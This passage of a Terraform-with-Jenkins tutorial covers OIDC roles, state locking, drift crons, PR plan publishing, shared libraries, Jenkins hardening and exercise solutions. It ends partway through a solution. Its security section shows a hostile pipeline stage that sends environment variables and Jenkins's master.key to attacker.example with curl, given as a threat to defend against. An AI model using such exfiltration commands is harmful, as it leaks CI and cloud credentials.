Principal = { Federated = aws_iam_openid_connect_provider.jenkins.arn }
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
"jenkins.ecomarket.example.com/oidc:aud" = "sts.amazonaws.com"
# THE REAL CONTROL: one EXACT job, with its full folder
# path, and the main branch. No wildcards and no
# StringLike: if you write it with "*", any job whose
# name starts the same can assume this role.
"jenkins.ecomarket.example.com/oidc:sub" = "ecomarket/infra-prod-apply:main"
}
}
}]
})
}// In the protected job's Jenkinsfile:
stage('Apply to prod') {
steps {
withCredentials([
// The plugin generates the JWT on the fly; there is NO stored secret.
string(credentialsId: 'oidc-aws-prod', variable: 'AWS_WEB_IDENTITY_TOKEN')
]) {
sh '''
set +x # the token is a secret: never traced
echo "$AWS_WEB_IDENTITY_TOKEN" > /tmp/token
export AWS_WEB_IDENTITY_TOKEN_FILE=/tmp/token
export AWS_ROLE_ARN=arn:aws:iam::123456789014:role/ecomarket-terraform-prod
export AWS_ROLE_SESSION_NAME="jenkins-prod-${BUILD_NUMBER}"
# The AWS SDK detects these variables and calls
# AssumeRoleWithWebIdentity on its own. Terraform knows nothing.
terraform -chdir=infra/app apply -no-color prod-app.tfplan
rm -f /tmp/token
'''
}
}
}The per-cloud equivalence table
| Cloud | Instance / pod role | Federation from Jenkins |
|---|---|---|
| AWS | EC2 instance profile / IRSA / Pod Identity | AssumeRoleWithWebIdentity with an OIDC provider |
| Azure | The VM's managed identity / Workload Identity on AKS | A federated credential on the Entra ID app registration, with ARM_USE_OIDC=true |
| GCP | The VM's service account / Workload Identity on GKE | Workload Identity Federation with an identity pool that trusts Jenkins as issuer |
EcoMarket's recommendation: IRSA for dev and staging — simple, sufficient, and the ServiceAccount's granularity is enough — and OIDC for the production apply, because it is the only one of the three that ties the credential to a specific job rather than to a machine or a pod somebody else could use.
lock: concurrency per state with Lockable Resources
lock: concurrency per state with Lockable Resources08-01 §11 established that the concurrency group identifies the state. In Jenkins, that is the Lockable Resources plugin.
stage('Apply') {
options {
// The resource's name IS the state's identity.
lock(resource: "tfstate-${params.ENVIRONMENT}-${params.COMPONENT}")
}
steps { /* ... */ }
}| Aspect | Jenkins lock |
Backend lock (module 3) |
|---|---|---|
| What it prevents | Two builds starting at once | Two writes corrupting the state |
| Where it lives | The Jenkins controller | DynamoDB or the bucket's .tflock |
| Scope | Jenkins only | Everybody, a laptop included |
| If it fails | Two builds waiting on the backend lock | A corrupt state |
Both are necessary and neither replaces the other. The Jenkins lock is an optimisation and a source of ordering; the backend lock is the correctness guarantee, and it is the only one that protects you from the engineer running apply from their laptop.
Labels for composite locks
When a change touches several components, you can take several resources at once:
// A change that reorganises network AND app needs both states.
// The plugin acquires them ATOMICALLY: either both or neither.
// Taking them one at a time in two nested blocks can produce
// a deadlock with another build that takes them in reverse order.
lock(label: "tfstate-${params.ENVIRONMENT}", quantity: 2) {
// ...
}And the resource configuration, which is declared in Jenkins's global configuration:
Name: tfstate-prod-network Labels: tfstate-prod terraform Name: tfstate-prod-data Labels: tfstate-prod terraform Name: tfstate-prod-app Labels: tfstate-prod terraform Name: tfstate-dev-network Labels: tfstate-dev terraform ...
inversePrecedence and why it matters for plans
By default the lock queue is FIFO: whoever arrived first goes in first. With inversePrecedence: true, the most recent one goes in. For a PR's plans that is the right behaviour: if there are three builds of the same PR in the queue, the one that matters is the one from the latest commit. For apply runs, never: the order of application must be the order of merging.
- Scheduled jobs:
cron and parameterizedCron for drift
cron and parameterizedCron for driftThe drift detection from 08-01 §12 needs a time-based trigger. Jenkins has two.
triggers {
// A plain cron: it triggers the job with the DEFAULT parameters.
// Useless here, because we need 9 different combinations.
// cron('H 3 * * *')
// parameterizedCron: each line carries ITS OWN parameters.
// This is what lets us cover the environment × component matrix.
parameterizedCron('''
H 2 * * * %ENVIRONMENT=dev;COMPONENT=network;ACTION=drift
H 2 * * * %ENVIRONMENT=dev;COMPONENT=data;ACTION=drift
H 2 * * * %ENVIRONMENT=dev;COMPONENT=app;ACTION=drift
H 3 * * * %ENVIRONMENT=staging;COMPONENT=network;ACTION=drift
H 3 * * * %ENVIRONMENT=staging;COMPONENT=data;ACTION=drift
H 3 * * * %ENVIRONMENT=staging;COMPONENT=app;ACTION=drift
H 4 * * * %ENVIRONMENT=prod;COMPONENT=network;ACTION=drift
H 4 * * * %ENVIRONMENT=prod;COMPONENT=data;ACTION=drift
H 4 * * * %ENVIRONMENT=prod;COMPONENT=app;ACTION=drift
''')
}The H is not decoration. In Jenkins, H means "a deterministic but spread-out time, derived from the job's name". H 3 * * * is "once between 03:00 and 03:59, always the same for this job". Writing 0 3 * * * in fifty jobs makes all fifty start at exactly 03:00, saturating the agents and — worse for Terraform — firing fifty simultaneous requests at the AWS API, which responds with rate limiting and failed plans.
Two more details about the drift cron:
The environments are staggered (02:00, 03:00, 04:00). If dev produces credential errors, you see them an hour before prod tries.
The result of drift is unstable, not failure. It is the Jenkins translation of -detailed-exitcode's three codes:
def code = sh(returnStatus: true, script: "ci/detect-drift.sh ${ENVIRONMENT} ${COMPONENT}")
if (code == 2) { unstable("Drift detected") } // yellow: somebody must look
else if (code != 0) { error("The plan failed") } // red: it is broken
// code == 0: green, silenceThe distinction matters because the three colours go to different channels: red to the team, yellow to an issue, green nowhere.
- Multibranch,
when and the PR / main-branch distinction
when and the PR / main-branch distinctionA multibranch pipeline discovers a repository's branches and PRs on its own and creates a job for each one. It is what makes a PR trigger the plan automatically.
| Variable | When it exists | What it contains |
|---|---|---|
env.BRANCH_NAME |
Always | main, infra/rds-size, or PR-42 on a PR |
env.CHANGE_ID |
Only on a PR | The PR number |
env.CHANGE_TARGET |
Only on a PR | The target branch (main) |
env.CHANGE_AUTHOR |
Only on a PR | Who opened it |
env.TAG_NAME |
Only on a tag | v3.2.1 |
The most important condition in the pipeline is the one that separates proposal from apply:
stage('Apply') {
when {
allOf {
// Only from the main branch: a PR NEVER applies.
branch 'main'
// And it is not a PR: redundant with the above, but explicit.
not { changeRequest() }
expression { params.ACTION == 'plan-and-apply' }
}
}
}And the one that decides whether to run anything at all, which is the biggest source of savings:
stage('Plan') {
when {
anyOf {
// The component being planned has changed.
changeset "infra/${params.COMPONENT}/**"
// The SHARED files trigger everything (08-01 §9).
changeset "environments/**"
changeset "backends/**"
changeset "modules/**"
changeset "ci/policies/**"
// And manual or scheduled runs do not filter.
expression { params.ACTION == 'drift' }
triggeredBy 'UserIdCause'
}
}
}The triggeredBy 'UserIdCause' is essential. Without it, a manual run from the interface would skip every stage because changeset matches nothing, and the result would be a green build that did nothing. It is one of the most baffling Jenkins failures: everything green, nothing executed.
changeset and its catch
changeset compares against the previous build of the same branch, not against the target branch. On a PR's first build there is no previous one, so changeset matches nothing and the stage is skipped. The robust solution is to compute it explicitly:
script {
// Compare against the TARGET branch, which is what the reviewer will see.
def base = env.CHANGE_TARGET ?: 'main'
sh "git fetch --no-tags origin ${base}:refs/remotes/origin/${base}"
def changes = sh(returnStdout: true,
script: "git diff --name-only origin/${base}...HEAD").trim()
env.TOUCHES_COMPONENT = changes.readLines().any {
it.startsWith("infra/${params.COMPONENT}/") ||
it.startsWith("environments/") || it.startsWith("backends/") ||
it.startsWith("modules/") || it.startsWith("ci/policies/")
}.toString()
echo "Files changed relative to ${base}:\n${changes}"
}
- Publishing the plan on the PR and as an HTML report
08-01 §7 defined the three layers — headline, signals, collapsed plan. Jenkins publishes them in two complementary places.
On the PR, with the GitHub or GitLab plugin
// Requires GitHub Branch Source (the global 'pullRequest' variable).
script {
def json = readJSON file: "${ROOT_DIR}/plan.json"
def count = { action ->
json.resource_changes.count { it.change.actions.contains(action) }
}
def create = count('create'), change = count('update'), destroy = count('delete')
// The hidden marker identifies OUR comment among all the ones on
// the PR: it is what lets us UPDATE it instead of duplicating it.
def marker = "<!-- tf-plan:${params.ENVIRONMENT}:${params.COMPONENT} -->"
def planText = readFile("${ROOT_DIR}/plan.txt")
def truncated = planText.readLines().size() > 400
def body = """${marker}
## Terraform plan · `${params.ENVIRONMENT}/${params.COMPONENT}`
| Create | Change | **Destroy** |
| --- | --- | --- |
| ${create} | ${change} | **${destroy}** |
Build [#${env.BUILD_NUMBER}](${env.BUILD_URL}) · commit `${env.GIT_COMMIT?.take(8)}`
<details><summary>Full plan${truncated ? ' (TRUNCATED)' : ''}</summary>
```terraform
${truncated ? planText.readLines().take(400).join('\n') + '\n\n... TRUNCATED. Full version in the build artefacts.' : planText}// The update-instead-of-append pattern: without this, a PR with
// fifteen pushes piles up fifteen plans and nobody knows which counts.
def existing = pullRequest.comments.find { it.body.contains(marker) }
if (existing) { existing.body = body }
else { pullRequest.comment(body) }
}
Remember the warning from [08-01](08-01-integrating-with-cicd): what gets published is `plan.txt`, the output of `terraform show` **without** `-json`, which respects `sensitive`. The `plan.json` is read with `readJSON` inside the agent to do the counting, and is never published.
### As a browsable HTML report
```groovy
// A colour-coded HTML page is far more readable than 600 lines of log,
// especially for finding a specific resource with Ctrl+F.
sh """
cd ${ROOT_DIR}
{
echo '<!DOCTYPE html><html lang="en"><head><meta charset="utf-8">'
echo '<title>Plan ${params.ENVIRONMENT}/${params.COMPONENT}</title>'
echo '<style>body{font:14px ui-monospace,monospace;background:#0d1117;color:#c9d1d9;padding:1rem}'
echo '.create{color:#3fb950}.destroy{color:#f85149;font-weight:700}.change{color:#d29922}</style>'
echo '</head><body><pre>'
# Colour the plan's +, -, ~ prefixes.
sed -e 's/^\\( *\\)+ /\\1<span class="create">+ <\\/span>/' \
-e 's/^\\( *\\)- /\\1<span class="destroy">- <\\/span>/' \
-e 's/^\\( *\\)~ /\\1<span class="change">~ <\\/span>/' \
-e 's/&/\\&/g' plan.txt
echo '</pre></body></html>'
} > plan.html
"""
publishHTML(target: [
reportDir: "${ROOT_DIR}", reportFiles: 'plan.html',
reportName: "Plan ${params.ENVIRONMENT}/${params.COMPONENT}",
keepAll: true, alwaysLinkToLastBuild: true, allowMissing: false
])Warning about
publishHTMLand the CSP. Jenkins applies a very restrictive content security policy to HTML reports, which blocks CSS and JavaScript by default. Relaxing it globally (hudson.model.DirectoryBrowserSupport.CSP) is an XSS risk in Jenkins itself, because the HTML is generated by code from the repository. The correct alternative is minimal inline CSS — like the one above — and leaving the policy alone.
The headline on the build page
// It appears in the build list: you see the impact without opening anything.
currentBuild.description = destroy > 0
? "${params.ENVIRONMENT}/${params.COMPONENT}: +${create} ~${change} -${destroy} DESTRUCTIONS"
: "${params.ENVIRONMENT}/${params.COMPONENT}: +${create} ~${change}"
- Shared libraries: one pipeline for twenty repositories
EcoMarket has the ecomarket-infra repository plus the repositories for the network, data, app and ecomarket-platform modules (04-04). Copying a 250-line Jenkinsfile into each one means they will never be in sync again: a security fix in the pipeline would be applied in one and forgotten in nineteen.
A shared library is a Git repository with this structure:
ecomarket-jenkins-lib/
├── vars/
│ ├── terraformStandard.groovy # the complete root-configuration pipeline
│ ├── terraformModule.groovy # the pipeline of a published module
│ ├── accountOf.groovy # environment -> account identifier
│ └── publishPlanOnPR.groovy # the comment from §12
├── src/com/ecomarket/
│ └── Plan.groovy # helper classes
└── resources/com/ecomarket/
└── plan.html.tpl # templates// vars/terraformStandard.groovy — the whole pipeline, parameterised.
def call(Map config = [:]) {
// Defaults: a typical repository configures nothing.
def components = config.components ?: ['network', 'data', 'app']
def environments = config.environments ?: ['dev', 'staging', 'prod']
def image = config.image ?: 'ecomarket/tf-runner:1.9.8-3'
def thresholds = config.destroyThresholds ?: [dev: 99, staging: 5, prod: 0]
pipeline {
agent { kubernetes { yaml terraformPod(image) ; defaultContainer 'terraform' } }
parameters {
choice(name: 'ENVIRONMENT', choices: environments)
choice(name: 'COMPONENT', choices: components)
choice(name: 'ACTION', choices: ['plan', 'plan-and-apply', 'drift'])
}
stages {
stage('Quality') { steps { terraformQuality() } }
stage('Plan') { steps { terraformPlan(thresholds) } }
stage('Approval') { agent none
when { expression { params.ENVIRONMENT != 'dev' } }
steps { approveDeployment(params.ENVIRONMENT) } }
stage('Apply') { steps { applyTerraform() } }
}
post { always { cleanPlans() } }
}
}And each repository's Jenkinsfile shrinks to this:
// ecomarket-infra's Jenkinsfile — three lines.
@Library('[email protected]') _
terraformStandard(
components: ['network', 'data', 'app', 'observability'],
destroyThresholds: [dev: 99, staging: 5, prod: 0]
)The three decisions that make a shared library work
Version the library with tags and consume it by version. @Library('[email protected]') and not @main. With @main, one change to the library affects twenty repositories at once, without anybody asking for it, and one mistake breaks every pipeline in the company simultaneously. It is exactly the SemVer reasoning from 04-05 applied to the pipeline.
The library is a production repository. It has its tests (with the pipeline unit-testing framework), its CODEOWNERS, its mandatory review and its CHANGELOG. It is not a drawer full of utilities.
The library can be marked as "trusted" (Global Trusted), and that has an enormous security consequence explained in the next section: the code of a trusted library runs outside the Script Security sandbox. It is what lets the library do things an ordinary Jenkinsfile cannot, and that is why who can write to it is a security decision, not an organisational one.
- Securing Jenkins itself
None of the above matters if Jenkins is badly configured, because Jenkins is, literally, a service with administrator permissions over your cloud.
The main risk: the PR that modifies the pipeline
// A PR against ecomarket-infra that adds this to the Jenkinsfile:
stage('Code quality') {
steps {
sh 'curl -X POST https://attacker.example/r -d "$(env | base64 -w0)"'
sh 'cat /var/jenkins_home/secrets/master.key | curl -X POST -d @- https://attacker.example/k'
}
}If the multibranch pipeline builds PRs automatically and the Jenkinsfile comes from the PR, that code runs. It is the same problem 08-01 §4 described for the data "external" block, escalated: here you do not even need to dress it up as Terraform.
| Defence | What it does | Cost |
|---|---|---|
Jenkinsfile outside the repository |
The pipeline is defined by the shared library; the repository only invokes it | There is still one editable line: see below |
| Approval to build outsiders' PRs | Only PRs from contributors with write permission are built | It does not protect against the insider |
| Read-only role in the plan | Even if it runs, it cannot write | The most important one; it is already in the design |
| Ephemeral, isolated agents | The damage dies with the pod | High value, low cost |
| Credentials outside Jenkins | A secret manager read by the assumed role | The best, and the hardest to roll out |
The defence that does not work on its own: putting the pipeline in a shared library. The repository's Jenkinsfile still says @Library(...) _; terraformStandard(...), and a PR can change that line to whatever it likes. To close it properly, the Jenkins job needs the pipeline configured in the job itself (Pipeline script rather than Pipeline script from SCM), or the Jenkinsfile has to be under CODEOWNERS with branch protection that prevents merging it without a platform review — and even then, the PR's plan runs before merging. That is why the read-only role is not an extra: it is the defence that actually works.
Script Security and the approval list
Jenkins runs pipeline Groovy inside a sandbox (Groovy Sandbox) that blocks dangerous calls. When a pipeline needs a call that is not allowed, it sits pending an administrator's approval.
// This does NOT run in the sandbox without explicit approval:
def f = new File('/var/jenkins_home/secrets/') // filesystem access
Jenkins.instance.getItems() // Jenkins internal API| Practice | Why |
|---|---|
| Keep the sandbox on always | Turning it off turns any Jenkinsfile into code with the controller's privileges |
| Do not approve signatures blindly | Approving File.getText for "a one-off case" leaves it approved for every pipeline, forever |
| Move anything that needs privileges into the trusted library | There it is reviewed once, with CODEOWNERS, instead of approving loose signatures |
| Review the approved list periodically | It grows by accumulation and nobody cleans it up |
The rest of the list
| Measure | Detail |
|---|---|
| 0 executors on the controller | No user code in the process that holds the credentials |
| Per-project authorisation matrix | Who can launch and who can approve the prod job |
| Agents that do not share a workspace | One pod per build; never a shared directory between projects |
| Jenkins not exposed to the internet | Behind a VPN or a proxy with strong authentication |
| SSO and MFA authentication | No local users with passwords |
| Audit log | An audit plugin: who approved what and when. It is the counterpart of CloudTrail's session_name |
| Plugins updated and pruned | Every plugin is code with access to the controller; the unused ones are uninstalled |
Backup of JENKINS_HOME |
Encrypted: it contains secrets/master.key, which decrypts every credential |
The last row deserves emphasis: an unencrypted Jenkins backup is a copy of all your credentials. You find them in S3 buckets more often than would be tolerable.
- Typical Jenkins problems with Terraform
| Symptom | Cause | Solution |
|---|---|---|
Error: Backend configuration changed |
The agent's workspace has the previous environment's .terraform/ |
-reconfigure always, and cleanWs() in the post block |
| The build hangs with no log for 30 min | -input=false is missing: Terraform is waiting for an answer |
TF_INPUT=false in environment |
The log is unreadable, full of \e[0m |
-no-color is missing |
-no-color on every command, or TF_CLI_ARGS_* |
Error acquiring the state lock after cancelling |
The SIGKILL killed Terraform without releasing the lock |
A verified manual force-unlock (08-01 §11); never automatic |
| Every stage is skipped and the build goes green | when { changeset ... } without triggeredBy on a manual run |
Add triggeredBy 'UserIdCause' |
Saved plan is stale on the apply |
Another build applied in between | Correct behaviour: re-plan and review the new plan |
An empty stash in the apply stage |
The stash happened before the file was generated, or the path is relative to another directory |
Paths relative to the workspace; check with sh 'ls -la' |
| The pipeline does not show the parameters the first time | Normal Jenkins behaviour | The first value of each choice = the most harmless one |
| Fifty jobs at 03:00 and AWS rate-limits | 0 3 * * * instead of H 3 * * * |
Always use H |
publishHTML shows the page unstyled |
Jenkins's CSP blocks external CSS | Inline CSS; do not relax the CSP globally |
Scripts not permitted to use method ... |
The Script Security sandbox | Move the code into the trusted library; do not approve signatures blindly |
The prod apply uses the dev role |
The withAWS was copied from another stage |
Derive the ARN from params.ENVIRONMENT, never write it literally |
Inconsistent dependency lock file |
Lockfile generated for macOS only | terraform providers lock -platform=linux_amd64 ... |
| Two builds of the same PR applying at once | lock or disableConcurrentBuilds is missing |
lock(resource: "tfstate-<environment>-<component>") |
| The plan takes 6 minutes on every PR | No TF_PLUGIN_CACHE_DIR, or the state is too large |
A cache volume; split the state (07-01) |
| The agent runs out of disk space | Workspaces piled up from old builds | cleanWs() in the post always block |
Common Mistakes and Tips
Leaving the input inside a stage that has an agent. A pod with 2 CPUs asleep for three hours while the team waits for free agents. Tip: agent none on the approval stage, and stash the plan so the apply stage can retrieve it.
Running builds on the controller. It is the default configuration of old installations and it means any Jenkinsfile can read secrets/master.key. Tip: set the controller's executor count to 0, today.
Trusting credential masking. It hides exact matches in the log and nothing else: it does not cover transformations, archived files or network requests. Tip: minimal withCredentials scope, set +x, TF_VAR_* instead of -var, and best of all, have Terraform read the secret from the manager so it never passes through Jenkins.
Archiving the .tfplan unencrypted. It becomes downloadable by everybody who can see the job, with var.db_password in the clear inside. Tip: stash for the internal copy, archiveArtifacts only for the encrypted version, retention in days.
One lock per repository instead of per state. It serialises prod-data behind dev-app and turns CI into a queue. Tip: the resource name is tfstate-<environment>-<component>.
Giving the agent permissions over production. With an instance role, any build on that agent can assume them, a PR's build included. Tip: IRSA with a ServiceAccount per environment, and OIDC tied to the job for the production apply.
0 3 * * * in the cron. Fifty simultaneous jobs, saturated agents and AWS returning ThrottlingException on every plan. Tip: H 3 * * *.
Treating drift as failure. The job goes red, the team gets used to the cron's red builds and ends up disabling it. Tip: unstable for code 2, error only for code 1.
Copying the Jenkinsfile into every repository. The day a security flaw is fixed, it gets fixed in one out of twenty. Tip: a shared library versioned by tag, never @main.
Approving Script Security signatures to get unstuck. One File.getText approval applies to every pipeline and forever. Tip: privileged code lives in the trusted library, where it is reviewed with CODEOWNERS.
Forgetting cleanWs(). Leftover .terraform/ from the previous environment, workspaces piling up and full disks. Tip: post { always { cleanWs() } }, plus -reconfigure as a safety net.
Not verifying that the image version matches .terraform-version. A build with a newer version upgrades the state format irreversibly and leaves the team unable to plan. Tip: the check from §2 as the very first stage.
Allowing self-approval. submitter: 'platform-team' does not stop whoever launched the build approving it themselves if they are in the group. Tip: compare the submitterParameter with the user who launched it, and fail in production if they match.
Exercises
Exercise 1: splitting the pipeline for production
The Jenkinsfile in §3 is a single pipeline with an approval stage. The table in §5 concluded that for prod the two-pipeline model is preferable, because role separation cannot depend on a file a PR can edit.
Write the two resulting Jenkinsfiles:
ecomarket-infra-prod-plan: plansprod, publishes, archives the encrypted plan. Anybody on the team can launch it.ecomarket-infra-prod-apply: retrieves the plan from a specific build of the first one, checks freshness and the window, and applies. Only the platform team can launch it.
You also have to solve: how the plan reference is passed between the two, how applying a plan from another environment is prevented, and where each Jenkinsfile lives.
Exercise 2: diagnosing five symptoms
A team migrated its Terraform pipeline to Jenkins and reports these five symptoms. For each one, give the most likely cause and the concrete fix.
- "The first
prodbuild of the day always fails withError: Backend configuration changed, and if we re-run it, it works." - "Since we enabled the drift cron job, half the jobs fail every night at 3 with
RequestLimitExceeded." - "A colleague launched the pipeline by hand for
stagingand it went green in 40 seconds, but it applied nothing." - "Yesterday's apply failed with
Saved plan is staleand we fixed it by re-running the whole pipeline withACTION=plan-and-apply. Today a bucket is missing." - "We cancelled an apply that was running slowly and now no build can plan
prod/app."
Exercise 3: the shared-library function
Write vars/approveDeployment.groovy for EcoMarket's shared library. It must:
- Take the environment and the number of resources being destroyed.
- Not ask for approval in
dev. - Require
platform-teaminstaging, andplatform-team+security-teaminprod. - Prevent self-approval in
prod. - Require a non-empty justification if the plan destroys resources.
- Record who approved, when and with what justification, in a way that lands both in the log and in the build description.
- Have a different timeout per environment.
Solutions
Solution 1
Where each Jenkinsfile lives. This is the decision that gives the exercise its point:
ecomarket-infra-prod-planreads itsJenkinsfilefromecomarket-infra(the infrastructure repository). That is acceptable because its role is read-only: if somebody tampers with it in a PR, the damage is bounded.ecomarket-infra-prod-applydoes not read its pipeline from the infrastructure repository. Its pipeline lives inecomarket-jenkins-lib, a protected repository with platformCODEOWNERS, and the job is configured asPipeline script from SCMpointing at that repository. Whoever opens a PR inecomarket-infracannot touch it.
// ============================================================
// Jenkinsfile for the job: ecomarket-infra-prod-plan
// Lives in: ecomarket-infra/ci/jenkins/prod-plan.Jenkinsfile
// Role: READ-ONLY. Anybody on the team can launch it.
// ============================================================
@Library('[email protected]') _
pipeline {
agent { kubernetes { yaml terraformPod('ecomarket/tf-runner:1.9.8-3')
defaultContainer 'terraform' } }
parameters {
choice(name: 'COMPONENT', choices: ['network', 'data', 'app'])
string(name: 'REFERENCE', defaultValue: 'main',
description: 'Branch, tag or commit to plan.')
}
options {
timeout(time: 30, unit: 'MINUTES')
buildDiscarder(logRotator(numToKeepStr: '200',
artifactNumToKeepStr: '30',
artifactDaysToKeepStr: '7'))
timestamps()
skipDefaultCheckout(true)
}
environment {
ENVIRONMENT = 'prod' // FIXED: this job is prod-only
ROOT_DIR = "infra/${params.COMPONENT}"
PLAN = "prod-${params.COMPONENT}.tfplan"
PLAN_ROLE = 'arn:aws:iam::123456789014:role/ecomarket-terraform-plan-prod'
AWS_REGION = 'eu-west-1'
TF_IN_AUTOMATION = '1'
TF_INPUT = 'false'
}
stages {
stage('Prepare') {
steps {
checkout([$class: 'GitSCM',
branches: [[name: params.REFERENCE]],
userRemoteConfigs: [[url: 'https://github.com/ecomarket/ecomarket-infra.git']]])
script {
// The EXACT commit is recorded: it is what the apply
// job will verify later on.
env.COMMIT = sh(returnStdout: true, script: 'git rev-parse HEAD').trim()
echo "Planning prod/${params.COMPONENT} at ${env.COMMIT}"
}
sh 'ci/check-terraform-version.sh'
}
}
stage('Quality') { steps { terraformQuality(env.ROOT_DIR) } }
stage('Plan') {
options { lock(resource: "tfstate-prod-${params.COMPONENT}",
inversePrecedence: true) }
steps {
withAWS(role: env.PLAN_ROLE,
roleSessionName: "jenkins-plan-prod-${env.BUILD_NUMBER}",
region: env.AWS_REGION) {
sh """
set -eu
terraform -chdir=${ROOT_DIR} init -reconfigure -lockfile=readonly \
-no-color -backend-config=\$(pwd)/backends/prod.hcl
terraform -chdir=${ROOT_DIR} plan -no-color -lock-timeout=5m \
-var-file=\$(pwd)/environments/common.auto.tfvars \
-var-file=\$(pwd)/environments/prod.tfvars \
-out=${PLAN}
date +%s > ${ROOT_DIR}/${PLAN}.created
"""
}
}
}
stage('Policies') {
steps {
sh """
set -eu
cd ${ROOT_DIR}
terraform show -json ${PLAN} > plan.json
conftest test --policy \$(git rev-parse --show-toplevel)/ci/policies/ \
--parser json plan.json
"""
sh "ci/destroy-guard.sh prod"
}
}
stage('Publish and archive') {
steps {
sh """
set -eu
cd ${ROOT_DIR}
terraform show -no-color ${PLAN} > plan.txt
# The MANIFEST is the key piece of the exercise: it ties
# the artefact to an environment, a component and a commit.
# The apply job verifies it before touching anything.
cat > manifest.json <<JSON
{
"environment": "prod",
"component": "${params.COMPONENT}",
"commit": "${COMMIT}",
"plan_build": "${BUILD_NUMBER}",
"created": "\$(date -Is)",
"created_epoch": "\$(cat ${PLAN}.created)"
}
JSON
age --encrypt --recipient-file \$(git rev-parse --show-toplevel)/ci/plan-key.pub \
-o ${PLAN}.age ${PLAN}
rm -f ${PLAN} plan.json # nothing in the clear survives
"""
archiveArtifacts artifacts: "${ROOT_DIR}/${PLAN}.age, ${ROOT_DIR}/manifest.json, ${ROOT_DIR}/plan.txt",
fingerprint: true
script {
currentBuild.description =
"prod/${params.COMPONENT} · ${env.COMMIT.take(8)} · " +
"apply with PLAN_BUILD=${env.BUILD_NUMBER}"
}
}
}
}
post { always { cleanWs(deleteDirs: true, notFailBuild: true) } }
}// ============================================================
// Jenkinsfile for the job: ecomarket-infra-prod-apply
// Lives in: ecomarket-jenkins-lib/pipelines/prod-apply.Jenkinsfile
// (a PROTECTED repository, out of reach of an infra PR)
// Role: WRITE. Only the platform team can launch it.
// ============================================================
@Library('[email protected]') _
pipeline {
agent { kubernetes { yaml terraformPodProd() // the prod ServiceAccount
defaultContainer 'terraform' } }
parameters {
choice(name: 'COMPONENT', choices: ['network', 'data', 'app'])
string(name: 'PLAN_BUILD', defaultValue: '',
description: 'Build number of ecomarket-infra-prod-plan whose plan is applied.')
string(name: 'JUSTIFICATION', defaultValue: '',
description: 'Ticket or PR that motivates this deployment.')
}
options {
timeout(time: 90, unit: 'MINUTES')
timestamps()
skipDefaultCheckout(true)
// NEVER abort an apply in progress because of a new one.
disableConcurrentBuilds(abortPrevious: false)
}
environment {
ROOT_DIR = "infra/${params.COMPONENT}"
PLAN = "prod-${params.COMPONENT}.tfplan"
AWS_REGION = 'eu-west-1'
TF_IN_AUTOMATION = '1'
TF_INPUT = 'false'
}
stages {
stage('Retrieve the plan') {
steps {
script {
if (!params.PLAN_BUILD?.trim())
error('PLAN_BUILD is mandatory: say which plan is being applied.')
if (!params.JUSTIFICATION?.trim())
error('JUSTIFICATION is mandatory: it is the audit trail.')
}
copyArtifacts(projectName: 'ecomarket-infra-prod-plan',
selector: specific(params.PLAN_BUILD),
filter: "**/${PLAN}.age, **/manifest.json")
script {
// --- THE MANIFEST VERIFICATION ---
// It prevents applying another environment's or another
// component's plan: the mistake the exercise asked us to close.
def m = readJSON file: "${ROOT_DIR}/manifest.json"
if (m.environment != 'prod')
error("""The plan from build ${params.PLAN_BUILD} belongs to environment
'${m.environment}', and this job only applies 'prod'.""")
if (m.component != params.COMPONENT)
error("""The plan is for component '${m.component}' and you asked to
apply '${params.COMPONENT}'. Check PLAN_BUILD.""")
env.PLAN_COMMIT = m.commit
env.CREATED_EPOCH = m.created_epoch
echo "Plan for prod/${m.component}, commit ${m.commit}, build ${m.plan_build}"
}
}
}
stage('Gates') {
steps {
// The repository code, at the plan's COMMIT: the gate
// scripts must be the ones from that moment.
checkout([$class: 'GitSCM',
branches: [[name: env.PLAN_COMMIT]],
extensions: [[$class: 'RelativeTargetDirectory', relativeTargetDir: 'repo']],
userRemoteConfigs: [[url: 'https://github.com/ecomarket/ecomarket-infra.git']]])
sh """
set -eu
echo "${CREATED_EPOCH}" > ${ROOT_DIR}/${PLAN}.created
MAX_HOURS=4 repo/ci/check-plan-freshness.sh ${ROOT_DIR}/${PLAN}
repo/ci/deployment-window.sh
"""
}
}
stage('Decrypt') {
steps {
withCredentials([string(credentialsId: 'plan-private-key-prod',
variable: 'KEY')]) {
sh '''
set +x # the private key NEVER in the log
set -eu
umask 077
printf '%s' "$KEY" > /tmp/key.age
age --decrypt --identity /tmp/key.age \
-o "${ROOT_DIR}/${PLAN}" "${ROOT_DIR}/${PLAN}.age"
shred -u /tmp/key.age
'''
}
}
}
stage('Apply') {
options { lock(resource: "tfstate-prod-${params.COMPONENT}") }
steps {
withAWS(role: 'arn:aws:iam::123456789014:role/ecomarket-terraform-prod',
roleSessionName: "jenkins-apply-prod-${env.BUILD_NUMBER}",
duration: 3600, region: env.AWS_REGION) {
sh """
set -eu
cd repo
terraform -chdir=${ROOT_DIR} init -reconfigure -lockfile=readonly \
-no-color -backend-config=\$(pwd)/backends/prod.hcl
terraform -chdir=../${ROOT_DIR} apply -no-color \
-lock-timeout=10m ../${ROOT_DIR}/${PLAN}
"""
}
}
}
}
post {
always {
sh "find . -name '*.tfplan' -delete || true"
cleanWs(deleteDirs: true, notFailBuild: true)
}
success {
slackSend(channel: '#ecomarket-platform', color: 'good',
message: """APPLIED prod/${params.COMPONENT}
commit ${env.PLAN_COMMIT?.take(8)}
plan #${params.PLAN_BUILD} · ${params.JUSTIFICATION}
${env.BUILD_URL}""")
}
aborted {
slackSend(channel: '#ecomarket-platform', color: 'danger',
message: """PRODUCTION APPLY ABORTED.
CHECK the state lock of prod/${params.COMPONENT}
BEFORE re-running: it may have been left orphaned.""")
}
}
}How the three questions in the brief are answered:
| Question | Solution |
|---|---|
| How the plan reference is passed | copyArtifacts with selector: specific(PLAN_BUILD). The plan job writes the number into currentBuild.description, so it is copied straight from the interface |
| How applying another environment's plan is prevented | The manifest.json, generated by the plan job and verified by the apply job. If the environment or the component does not match, it fails before touching credentials |
Where each Jenkinsfile lives |
The plan one, in the infrastructure repository (read-only role: bounded risk). The apply one, in the library's protected repository, out of reach of a PR |
Two more decisions that deserve explaining:
- The freshness check uses the scripts from the plan's commit, not from
main. If somebody relaxedcheck-plan-freshness.shonmainafter the plan was generated, the apply would use the relaxed version. Checking out the exact commit closes that window. - The private decryption key only exists in this job. Whoever can download the plan job's artefact gets an encrypted file they cannot open.
Solution 2
1. Error: Backend configuration changed on the first build of the day.
Cause: the agent is permanent (or the workspace persists) and retains the .terraform/ from the last build, which was for another environment. Re-running works because the second build now finds the prod .terraform/.
